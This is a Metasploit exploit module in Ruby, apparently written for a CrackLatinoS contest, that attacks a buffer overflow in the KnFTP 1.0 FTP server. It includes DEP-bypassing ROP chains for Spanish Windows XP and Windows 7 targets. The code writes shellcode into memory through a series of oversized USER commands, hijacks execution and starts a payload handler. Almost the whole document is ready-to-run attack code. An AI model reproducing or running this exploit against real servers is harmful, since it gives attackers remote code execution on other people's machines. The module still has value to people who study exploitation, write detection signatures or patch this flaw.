KnFTP 1.0 Buffer Overflow Exploit – DEP Bypass

#module for metasploit framework, for more information
#see the Description.
#Copyright (C) October 04th 2011
#Author: Javier Aguinaga (pasta) el.tio.pastafrola[at]gmail.com 
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program.  If not, see <http://www.gnu.org/licenses/>.
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
‘Name’           => ‘KnFTP FTP Server Multiple Commands Remote Buffer Overflow Vulnerabilities’,
‘Description’    => %q{
This module exploits a vulnerability in the KnFTP
application. The same by-pass DEP with AlwaysOn.
 
Built for the 10th contest of [C]racks[L]atino[S].
},
‘Author’         => [ ‘pasta’ ],
‘License’        => GPL_LICENSE,
‘Version’        => ‘$Revision: 0 $’,
‘References’     =>
[
[ ‘URL’, ‘http://www.securityfocus.com/bid/49427’],
],
‘Privileged’     => false,
‘Payload’        =>
{
‘Space’    => 0x300,
‘BadChars’ => “\x00”,
‘DisableNops’=>  ‘True’
},
‘Platform’       => [ ‘win’ ],
‘Targets’        =>
[
[
‘Windows XP SP2/SP3 Spanish (NX)’,
{
‘rop_movs’ => [
0x77bf1d16, # POP EAX
0x41414141, # PADDING
0x77c07451, # LEA EAX,[EBP-10]
0x77bf2751, # EBP = ESP+C && JMP EAX <–
 
           # se ejecuta la carga de EBP
# y despues carga en EAX el valor
# EBP-10, esto es x el JMP EAX
 
0x77bef2c1, # ADD EAX,8
0x77bef2c1, # ADD EAX,8
0x77bef2c1, # ADD EAX,8
0x77bef2c1, # ADD EAX,8
0x77be95ab, # XCHG EAX,ESI # CMPS <– ROBA
0x77c0620b, # MUEVE 6 DWORDS DE ESI A EDI
0x41414141, # JUNK
0x41414141, # JUNK
0x77bf22b6  # JMP $
],
 
‘rop_popeax_null’ => [
0x77bef519, # POP ECX
0x41414141, # PADDING
0x42424242, # JUNK
0x77bf1d16, # POP EAX
0x42424242, # JUNK
0x77c0f284  # LEA EAX,[EAX+ECX*8]
],
 
‘rop_popeax’ => [
0x77bf1d16, # POP EAX
0x41414141, # PADDING
0x42424242  # JUNK
],
 
‘rop_writemem’ => [
0x77bef519, # POP ECX
0x42424242, # JUNK
0x77c12f02, # MOV [ECX],EAX
0x42424242, # JUNK
0x77bf22b6  # JMP $
],
 
‘rop_jmpeax’ => [
0x77be68cd, # JMP EAX
],
 
‘rop_changeeip’ => [
0x77bf1d16, # POP EAX
0x41414141, # PADDING
0x41414141, # JUNK
0x77be68cd  # JMP EAX
],
 
‘place4payload’ => 0x77e1ac81, # .data msvcrt
‘place4argumen’ => 0x77e1ab40, # .data msvcrt
 
‘loop’ => 0x77bf22b6, # JMP $
}
],
 
[
‘Windows 7 Professional SP1 Spanish (NX)’,
{
‘rop_movs’ => [
0x770c181f,
0x41414141,
0x77099871,
0x770abffd,
0x7709a5c5,
0x7709a5c5,
0x7709a5c5,
0x7709a5c5,
0x770ce0ab,
0x770c07d2,
0x41414141,
0x41414141,
0x770aac5b
],
 
‘rop_popeax_null’ => [
0x7709a984,
0x41414141,
0x42424242,
0x770c181f,
0x42424242,
0x770c040f
],
 
‘rop_popeax’ => [
0x770c181f,
0x41414141,
0x42424242
],
 
‘rop_writemem’ => [
0x7709a984,
0x42424242,
0x770a3bdb,
0x42424242,
0x770aac5b
],
 
‘rop_jmpeax’ => [
0x7709c441,
],
 
‘rop_changeeip’ => [
0x770c181f,
0x41414141,
0x41414141,
0x7709c441
],
 
‘place4payload’ => 0x77136C01,
‘place4argumen’ => 0x77136a80,
 
‘loop’ => 0x77bf22b6,
}
],
],
‘DisclosureDate’ => ‘Sept 19 2011’,
‘DefaultTarget’ => 0))
 
register_options(
[
OptInt.new(‘TIME’, [ true, ‘Delay between packets. (seconds)’, 5 ]),
], self.class)
end
def exploit
connect
print_status(“Sending eggs”)
 
address = target[‘place4payload’] + 0x300
payload.encoded << ‘A’*(16 – payload.encoded.length % 16)
 
(payload.encoded.length/16).times {|i|
i += 1
 
buf  = ‘A’*276
buf << [address – 16 * i].pack(‘<L’)
buf << ‘A’*4
 
buf << target[‘rop_movs’].pack(‘V*’) + ‘1’ # <– byte corrido por CMPS
 
buf << payload.encoded[payload.encoded.length – 16 * i, 16]
sleep(datastore[‘TIME’])
print “=”*i + ” “*((payload.encoded.length/16)-i) + “> #{i}/#{payload.encoded.length/16} egg[s]\r”
send_user(buf)
disconnect
 
connect
}
memory = target[‘place4argumen’]
keys = {
memory+0x04 => target[‘loop’],
memory-0x38 => target[‘place4payload’],
memory-0x2c => 0x300,
memory-0x1c => 0x40
}
 
print_status(“Disabling [D]ata [E]xecution [P]revention”)
 
j = 1
keys.each {|direction, dword|
 
buf = ‘A’*284
 
if [dword].pack(‘<L’).index(0.chr)
ecx = 0x01111111
eax = 2**32 + dword – ecx*8
 
target[‘rop_popeax_null’][2] = ecx
target[‘rop_popeax_null’][4] = eax
buf << target[‘rop_popeax_null’].pack(‘V*’)
else
target[‘rop_popeax’][2] = dword
buf << target[‘rop_popeax’].pack(‘V*’)
end
 
target[‘rop_writemem’][1] = direction
buf << target[‘rop_writemem’].pack(‘V*’)
 
sleep(datastore[‘TIME’])
 
print “=”*j + ” “*(5-j) + “> #{j}/5 egg[s]\r”
j += 1
 
send_user(buf)
disconnect
 
#connect again
connect
}
 
buf = ‘A’*280
buf << [memory].pack(‘<L’)
 
load_arguments = 0x00403822
ecx = 0x01111111
eax = 2**32 + load_arguments – ecx * 8
 
target[‘rop_popeax_null’][2] = ecx
target[‘rop_popeax_null’][4] = eax
 
buf << (target[‘rop_popeax_null’] + target[‘rop_jmpeax’] + [0x41414141]).pack(‘V*’)
 
sleep(datastore[‘TIME’])
print “=====> 5/5\r”
send_user(buf)
 
print_good(“PAYLOAD INJECT SUCCESSFULL”)
disconnect
 
connect
 
buf = ‘A’*284
target[‘rop_changeeip’][2] = target[‘place4payload’] + 0x300 – payload.encoded.length + 7
 
buf << target[‘rop_changeeip’].pack(‘V*’)
 
print_status(“Executing shellcode…”)
send_user(buf)
sleep(datastore[‘TIME’]*4)
 
handler
disconnect
end
end
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